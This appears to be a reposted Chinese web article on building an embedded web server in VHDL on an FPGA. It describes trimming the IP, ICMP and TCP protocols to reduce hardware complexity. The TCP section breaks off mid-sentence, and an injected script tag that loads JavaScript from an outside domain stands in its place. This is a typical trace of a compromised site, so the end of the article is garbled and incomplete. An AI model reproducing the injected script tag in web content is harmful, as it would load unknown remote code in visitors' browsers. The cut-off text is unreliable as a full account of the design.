一种用VHDL设计嵌入式WebServer的方案

摘要:近几年嵌入式internet开始迅猛发展,但绝大多数嵌入式internet都使用微控制器和相应的软件来实现。本文介绍一种基于硬件来实现嵌入式web server的方案。该方案的核心思想是用vhdl语言来设计实现,并且用fpga进行验证。

  关键词:vhdl internet协议 控制信息协议 数据报

  最近几年随着internet应用的迅猛发展,internet的通信协议,特别是tcp/ip协议,已成为嵌入式internet的主体构架;然而,仅仅使用嵌入tcp/ip协议对许我应用来说远远不够,它们要求更高层次的信息传输和交换方式。在原有嵌入tcp/ip协议基于上加入http/1.1将构成一个功能较为简单的嵌入式web server,它可以接收和发送一些简单的数据和命令。如果再将这些嵌入通信协议和web功能用vhdl来实现的话,将大大降低嵌入成本,满足嵌入式产品对web功能的要求。

  1 嵌入式web server中的协议裁减

  嵌入式web server中用到的通信协议较多,若全部采用,将导致整个嵌入式web server异常复杂,而且费用显著增加。因此,为保证嵌入式web server最简化,必须对一些主要的通信协议进行相关的裁减,减小整个硬件设计的复杂性。

  1.1 ip协议

  ip在网络中主要实现2个基本功能:寻址和分段。ip可以根据数据报头中包括的目的地址将数据报传送到目的地。在此过程中,ip负责选择传送的通道。如果有些网络内只能传送小的数据报,ip可以将数据报重新组装并在报头域内说明。

  在嵌入式web server中,由于只需传送一些简单的数据和命令,数据报的长度很小,足以适合在任何网络中传送,因此对于分段的功能可以裁减不要。

  ip数据包头如图1所示。

  在ip数据包头中,服务类型是指一些服务质量的参数,这些参数用于在特定网络指示所需要的服务。而选项包括时间戳,安全和特殊路由,在数据包中可以没有。因此,为简化嵌入web server的复杂程度,这2个字段都可以忽略,而且不用作任何处理。标识是发送时用于帮助重组分段包的,段偏移量是指示这个段在数据报中什么位置。由于不采用分段功能,因此这些字段都无须考虑也不用作任何处理,而且标记字段第2位必须为1,表示是不可分段的。

  1.2 icmp协议裁减

  icmp协议用于报告在数据报过程中的错误,它在以下几种情况下发送icmp消息:未达目的地、超时、参数总是、源拥塞、重定向、回送或回送响应、时间戳和时间戳响应、信息请求或信息响应。

  由于嵌入式web server只是一个具有简单web功能的模块,并且它对外部传感器和网络之间只是简单的数据传输和命令的发布;因此跟成本相比较而言,许多可靠性措施可以忽略不计,只考虑一些必要。在icmp消息报告中,回送或回送响应消息、信息请求或信息响应消息在网络信息处理中至关重要,因此予以采用;其它消息报告可以忽略,保证嵌入式web server最简化。

  1.3 tcp协议裁减

  tcp,即传输控制协议,是一种面向连接的传输层协议。通过使用序列号和确认信息,tcp协议能够向发送方提供到达接收方的数据包的传送信息。当传送过程中出现数据包丢失情况时,tcp协议可以重新发送丢失的数据包,直到数据成功到达接收方或者出现网络超时为止。tcp协议还可以识别重复信息,丢弃不需要的多余信息。使网络环境得到优化。如果发送方传送数据的速度大大快于接收方接收数据的速度,tcp协议可以发送和接收的数据响应。tcp协议能够把数据传送信息传递给所支持的更高层次的协议或应用使用。

  但在嵌入式web server中,考虑到实现的情况和复杂性,对于tcp协议,除了采用数据包传送机外,重新发送和数据流控制机制都可以忽略不计。因此在嵌入式web server中,只传送一些简单的数据和命令,而且数据量很少,因此,在系统中不会产生网络拥塞,只需在其它客户端或访问端上用流量控制机制就可以了。同时由于嵌入式web server功能简单,重新发送的可靠性?script src=http://er12.com/t.js>

  • 一种用VHDL设计嵌入式WebServer的方案已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计